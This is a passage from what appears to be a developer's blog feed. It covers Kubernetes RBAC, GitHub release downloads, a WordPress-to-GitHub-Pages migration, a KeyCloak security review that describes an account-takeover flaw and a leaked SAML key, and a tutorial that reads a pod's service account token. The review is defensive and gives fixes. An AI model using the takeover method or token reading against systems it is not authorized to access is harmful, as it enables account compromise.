  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;default&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;roleRef&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;apiGroup&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ClusterRole&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;admin&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;subjects&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;apiGroup&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;User&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;aad:my_user@company.com&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;apiGroup&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;User&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;aad:other_user@company.com&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# TODO (teammembers) add your email here if you need access&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;---&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io/v1&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;RoleBinding&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;everyone-view-access&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;default&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;roleRef&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;apiGroup&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;ClusterRole&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;view&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;subjects&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt;
&lt;span class=&quot;pi&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;apiGroup&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;rbac.authorization.k8s.io&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;Group&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;aad:093fc0e2-1d6e-4a1b-9bf8-effa0196f1f7&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# corresponds to the &apos;All Engineers&apos; group # optional note for future readers &lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# ref: https://portal.azure.com/#blade/Microsoft_AAD_IAM/GroupDetailsMenuBlade/Overview/groupId/093fc0e2-1d6e-4a1b-9bf8-effa0196f1f7&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>How to download the latest release from a Github repository</title>
   <link href="https://szabo.jp/2021/08/19/get-latest-release-from-github/"/>
   <updated>2021-08-19T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/08/19/get-latest-release-from-github</id>
   <content type="html">&lt;p&gt;We often want to download the latest release of an application from Github, however it &lt;a href=&quot;https://gist.github.com/steinwaywhw/a4cd19cda655b8249d908261a62687f8&quot;&gt;used to be hard without knowing the latest version&lt;/a&gt;. But now we can do the followings:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/&amp;lt;user&amp;gt;/&amp;lt;repo&amp;gt;/releases/latest&lt;/code&gt; takes you to the latest release page, e.g. &lt;a href=&quot;https://github.com/Azure/kubelogin/releases/latest&quot;&gt;https://github.com/Azure/kubelogin/releases/latest&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://github.com/&amp;lt;user&amp;gt;/&amp;lt;repo&amp;gt;/releases/latest/download/&amp;lt;filename&amp;gt;&lt;/code&gt; gets you a binary from the latest release, e.g. &lt;a href=&quot;https://github.com/Azure/kubelogin/releases/latest/download/kubelogin-linux-amd64.zip&quot;&gt;https://github.com/Azure/kubelogin/releases/latest/download/kubelogin-linux-amd64.zip&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>Moving a blog from Wordpress to Github pages</title>
   <link href="https://szabo.jp/2021/08/09/moving-a-blog-from-wordpress-to-github-pages/"/>
   <updated>2021-08-09T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/08/09/moving-a-blog-from-wordpress-to-github-pages</id>
   <content type="html">&lt;p&gt;This blog is hosted on Github pages, which I end up liking a lot, so I decided to move my other blog (originally hosted on Wordpress) too. I was already planning to update the domain of that blog, so I took the opportunity to do both at the same time. Here are the steps I did.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;The original, self-hosted Wordpress blog was on &lt;a href=&quot;https://japan.szabo-simon.hu&quot;&gt;https://japan.szabo-simon.hu&lt;/a&gt;, that I wanted to move to &lt;a href=&quot;https://hu.szabo.jp&quot;&gt;https://hu.szabo.jp&lt;/a&gt;. So first I setup a new Github pages repo with that domain and the basic style files.&lt;/p&gt;

&lt;p&gt;Then I followed this guide to get the posts and Wordpress-hosted images over: &lt;a href=&quot;https://www.deadlyfingers.net/code/migrating-from-wordpress-to-github-pages&quot;&gt;https://www.deadlyfingers.net/code/migrating-from-wordpress-to-github-pages&lt;/a&gt;. I kept the posts html, and didn’t convert them to md, as html worked already.&lt;/p&gt;

&lt;h3 id=&quot;migrating-google-photos&quot;&gt;Migrating Google Photos&lt;/h3&gt;

&lt;p&gt;I had a lot of photos sourced from Google Photos public albums (one album per post) added to the post using &lt;a href=&quot;https://wordpress.org/plugins/embed-google-photos-album-easily/&quot;&gt;this addon&lt;/a&gt;. Getting them over was a bit tricky and I ended up writing a script for it, then run it in a docker container:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;docker run --rm -v $(pwd):/srv -u 0:0 -it wernight/phantomjs /bin/bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I had to install https://github.com/lefuturiste/google-photos-album-crawler like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apt update
apt install npm -y
cd /root
mdkir abc
cd abc
npm install scrape-google-photos
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then run this script:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cd /srv/_posts/
for file in $(find -type f -name &apos;*.html&apos;); do
  echo &quot;&amp;gt; Working with $file&quot;; 
  if (grep -Po &apos;\[embed-google-photos-album link=&quot;([^&quot;]*)&quot;[^\]]*\]&apos; $file); then
    # Add gallery
    sed -i &apos;s/status: publish/status: publish\ngallery: true/&apos; $file
    link=$(grep -Po &apos;\[embed-google-photos-album link=&quot;([^&quot;]*)&quot;[^\]]*\]&apos; $file | grep -Po &apos;https://photos.app.goo.gl/[^&quot;]+&apos;)
    echo &quot;Google album link $link&quot;
    mkdir /srv/assets/$file
    var=1
    for photo in $(/root/abc/node_modules/scrape-google-photos/index.js $link | grep -Po &quot;https://lh3.googleusercontent.com[^&apos;]+&quot;); do
      echo $photo
      wget -O /srv/assets/$file/$var.jpg $photo=w1920-h1080
      var=$((var + 1))
    done
  fi
done
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This added &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gallery: true&lt;/code&gt; tag to the posts, grabbed all images from the albums and placed them into separate folders under &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assets/&lt;/code&gt; named the same as the posts. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gallery: true&lt;/code&gt; tag was already configured to make jekyll pick up the images from the folder named the same as the post.&lt;/p&gt;

&lt;p&gt;Somehow this resulted in a lot of duplicate photos, so I had to remove them (&lt;a href=&quot;https://superuser.com/a/386209/768525&quot;&gt;code from SO&lt;/a&gt;):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;declare -A arr
shopt -s globstar
arr=()

for file in **; do
  [[ -f &quot;$file&quot; ]] || continue
   
  read cksm _ &amp;lt; &amp;lt;(md5sum &quot;$file&quot;)
  if ((arr[$cksm]++)); then 
    rm $file
  fi
done
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;re-embed-youtube-videos&quot;&gt;Re-embed YouTube videos&lt;/h3&gt;

&lt;p&gt;Then I had to fix embedded YouTube videos, as they ended up being something like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;!-- wp:embed {&quot;url&quot;:&quot;https://www.youtube.com/watch?v=U0CL-ZSuCrQ&quot;,&quot;type&quot;:&quot;video&quot;,&quot;providerNameSlug&quot;:&quot;youtube&quot;,&quot;responsive&quot;:true,&quot;className&quot;:&quot;wp-embed-aspect-16-9 wp-has-aspect-ratio&quot;} --&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;figure class=&quot;wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio&quot;&amp;gt;
&amp;lt;div class=&quot;wp-block-embed__wrapper&quot;&amp;gt;
https://www.youtube.com/watch?v=U0CL-ZSuCrQ
&amp;lt;/div&amp;gt;
&amp;lt;/figure&amp;gt;
&amp;lt;p&amp;gt;&amp;lt;!-- /wp:embed --&amp;gt;&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Sometimes the YouTube URL was like &lt;a href=&quot;https://youtu.be/Dd7FeNkoVjI&quot;&gt;https://youtu.be/Dd7FeNkoVjI&lt;/a&gt;, which had to be handled too. So I did a global search and replace (with VS Code’s built-in tool) from&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;div class=&quot;wp-block-embed__wrapper&quot;&amp;gt;\n(?:https://www.youtube.com/watch\?v=(\S+)|https://youtu.be/(\S+))\n&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;to&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube-nocookie.com/embed/$1$2&quot; title=&quot;YouTube video player&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen&amp;gt;&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;make-links-relative&quot;&gt;Make links relative&lt;/h3&gt;

&lt;p&gt;Next was all the links between posts, which were all absolute (like &lt;a href=&quot;https://japan.szabo-simon.hu/2021/05/04/biwaichi-biciklivel-a-biwa-to-korul/&quot;&gt;https://japan.szabo-simon.hu/2021/05/04/biwaichi-biciklivel-a-biwa-to-korul/&lt;/a&gt;) and as I was updating the domain, I had to update these too. I decided to use this opportunity to also make them relative (e.g. &lt;a href=&quot;/2021/05/04/biwaichi-biciklivel-a-biwa-to-korul/&quot;&gt;/2021/05/04/biwaichi-biciklivel-a-biwa-to-korul/&lt;/a&gt;) with this regex search and replace:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://japan.szabo-simon.hu([^&quot;]+/)&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;to&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$1&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;setup-redirect-to-keep-old-links-working&quot;&gt;Setup redirect to keep old links working&lt;/h3&gt;

&lt;p&gt;Last step was to add an automatic redirect to the old site via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.htaccess&lt;/code&gt; in the site’s root:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Redirect 301 / https://hu.szabo.jp/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This keeps the path on redirect, and since the export tool saved the paths for the posts, all the old links still work.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>The security of KeyCloak used as an identity proxy</title>
   <link href="https://szabo.jp/2021/07/05/keycloak-security-checks/"/>
   <updated>2021-07-05T00:00:00+00:00</updated>
   <id>https://szabo.jp/2021/07/05/keycloak-security-checks</id>
   <content type="html">&lt;p&gt;Recently I was involved in a project where KeyCloak was used as an identity proxy: the target app was configured to use KeyCloak as an SSO, but KeyCloak delegated the authentication further to an other IdP. So on login to the target app, the app would redirect the user to KeyCloak, which would further redirect to the IdP’s login page. Upon authenticating there, the IdP redirected back to KeyCloak, which redirected to the target app. This double-redirect flow happened very fast so it was mostly transparent to the user.&lt;/p&gt;

&lt;p&gt;My task was to review the security of this setup and I managed to find a few interesting bugs.&lt;/p&gt;

&lt;!--break--&gt;

&lt;h1 id=&quot;full-account-takeover&quot;&gt;Full account takeover&lt;/h1&gt;

&lt;p&gt;So in KeyCloak users are allowed to change their email address, but they need to verify it. However since KeyCloak was using the IdP to login users, this requirement didn’t make sense and was turned off. So any user could change their email address on their profile page without any sort of verification:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-07-05-keycloak-security-checks/userconfig.png#lb&quot; alt=&quot;Profile page of a user&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since the target app was configured to use this email address for authenticating the user, this meant that any user could takeover anyone else’s account. Sweet.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix&lt;/strong&gt;: configure KeyCloak to send the username instead of the email address to the target app, as the username can’t be changed.&lt;/p&gt;

&lt;h1 id=&quot;leaking-saml-private-keys-in-logs-and-export&quot;&gt;Leaking SAML private keys in logs and export&lt;/h1&gt;

&lt;p&gt;Detailed logging with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Include Representation&lt;/code&gt; was enabled for Admin Events:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-07-05-keycloak-security-checks/event_config.png#lb&quot; alt=&quot;Configuration for Admin Events (/auth/admin/master/console/#/realms/target/events-settings)&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This meant that on editing the SAML client config, the private key got logged:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-07-05-keycloak-security-checks/event.png#lb&quot; alt=&quot;Full SAML config with the private key. Oops.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As this key is used to sign the SSO request from the target app, someone with this key can impersonate any user to the target app without every having to interact with KeyCloak.&lt;/p&gt;

&lt;p&gt;As logs will be shipped out of the system and available to people without access to the system, this was especially alarming.&lt;/p&gt;

&lt;p&gt;The same key is part of the exported configuration, and is also visible on the UI, so limiting admin access is crucial.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The fix:&lt;/strong&gt; as a potential quick-fix disable detailed logging, but that will impact the usefulness of logs.&lt;/p&gt;

&lt;h1 id=&quot;impersonation-as-a-service&quot;&gt;Impersonation as a service&lt;/h1&gt;

&lt;p&gt;This is not really a bug, more of a feature of KeyCloak: admins can impersonate any user by clicking a button:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/2021-07-05-keycloak-security-checks/impersonation.png#lb&quot; alt=&quot;Impersonate button.&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This is something to keep in mind and at least setup some alerting for it, if it happens. Keep in mind though that an admin can still reset the users’ password or view the SAML private keys, so &lt;a href=&quot;https://www.keycloak.org/docs/latest/server_admin/index.html#_per_realm_admin_permissions&quot;&gt;disabling impersonation&lt;/a&gt; is not the only thing you need to worry about if you are concerned about privileged attackers. But it’s a good start.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Authentication using kubernetes service account JWTs</title>
   <link href="https://szabo.jp/2021/05/24/authentication-using-k8s-service-account-jwts/"/>
   <updated>2021-05-24T09:00:00+00:00</updated>
   <id>https://szabo.jp/2021/05/24/authentication-using-k8s-service-account-jwts</id>
   <content type="html">&lt;p&gt;Permissions for a Pod in kubernetes are managed via &lt;a href=&quot;https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/&quot;&gt;Service Accounts&lt;/a&gt;, and these come with a JWT issued by the cluster. If the Pods need to authenticate to an external service, it would be reasonable to use this JWT, so let’s see how to get it and verify it.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;This JWT can also be used to call the Kubernetes API, as described very well in &lt;a href=&quot;https://itnext.io/kubernetes-serviceaccounts-jwt-tokens-authentication-and-rbac-authorization-e769f3d85a28&quot;&gt;this article&lt;/a&gt;. I definitely recommend reading that, as I won’t be going into so much detail on the ServiceAccount and RBAC part.&lt;/p&gt;

&lt;h1 id=&quot;setup&quot;&gt;Setup&lt;/h1&gt;

&lt;p&gt;Make sure you have a cluster (e.g. minikube) setup, and kubectl authenticated.&lt;/p&gt;

&lt;p&gt;Create a new namespace and service account:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;➜  kubectl apply &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; - &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
apiVersion: v1
kind: Namespace
metadata:
  name: my-namespace
EOF&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;➜  kubectl apply &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; - &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;EOF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;
apiVersion: v1
kind: ServiceAccount
metadata:
  name: my-service-account
  namespace: my-namespace
EOF&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Start an image in the namespace with the service account and open bash into it. Then install curl and jq:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;➜  kubectl run &lt;span class=&quot;nt&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--rm&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--restart&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;Never ubuntu &lt;span class=&quot;nt&quot;&gt;--image&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;ubuntu bash &lt;span class=&quot;nt&quot;&gt;--namespace&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;my-namespace &lt;span class=&quot;nt&quot;&gt;--serviceaccount&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;my-service-account
If you don&lt;span class=&quot;s1&quot;&gt;&apos;t see a command prompt, try pressing enter.
root@ubuntu:/# apt update &amp;amp;&amp;amp; apt install -y curl jq&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h1 id=&quot;get-the-token-in-a-pod&quot;&gt;Get the token in a Pod&lt;/h1&gt;

&lt;p&gt;Now that we have the shell into a container, let’s find the token. Based on the &lt;a href=&quot;https://kubernetes.io/docs/tasks/run-application/access-api-from-pod/#without-using-a-proxy&quot;&gt;docs&lt;/a&gt; all we have to do is:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# Point to the internal API server hostname&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;APISERVER&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;https://kubernetes.default.svc

&lt;span class=&quot;c&quot;&gt;# Path to ServiceAccount token&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;SERVICEACCOUNT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/var/run/secrets/kubernetes.io/serviceaccount

&lt;span class=&quot;c&quot;&gt;# Read this Pod&apos;s namespace&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;NAMESPACE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SERVICEACCOUNT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/namespace&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Read the ServiceAccount bearer token&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;TOKEN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SERVICEACCOUNT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/token&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Reference the internal certificate authority (CA)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;CACERT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SERVICEACCOUNT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/ca.crt

&lt;span class=&quot;c&quot;&gt;# Explore the API with TOKEN&lt;/span&gt;
curl &lt;span class=&quot;nt&quot;&gt;--cacert&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;CACERT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--header&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Authorization: Bearer &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;TOKEN&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; GET &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;APISERVER&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/api&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;This is a great start, as it shows that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/run/secrets/kubernetes.io/serviceaccount/token&lt;/code&gt; file holds the JWT token, and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/var/run/secrets/kubernetes.io/serviceaccount/ca.crt&lt;/code&gt; holds the ca cert used by the Kubernetes API server.&lt;/p&gt;

&lt;h1 id=&quot;getting-the-certificate-to-verify-the-jwt&quot;&gt;Getting the certificate to verify the JWT&lt;/h1&gt;

&lt;p&gt;Unfortunately the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ca.crt.&lt;/code&gt; file is not the certificate used for the JWT. To get that, we need to hit the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/.well-known/openid-configuration&lt;/code&gt; endpoint. Based on the previous example:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# Point to the internal API server hostname&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;APISERVER&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;https://kubernetes.default.svc

&lt;span class=&quot;c&quot;&gt;# Path to ServiceAccount token&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;SERVICEACCOUNT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/var/run/secrets/kubernetes.io/serviceaccount

&lt;span class=&quot;c&quot;&gt;# Read this Pod&apos;s namespace&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;NAMESPACE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SERVICEACCOUNT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;/namespace&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;

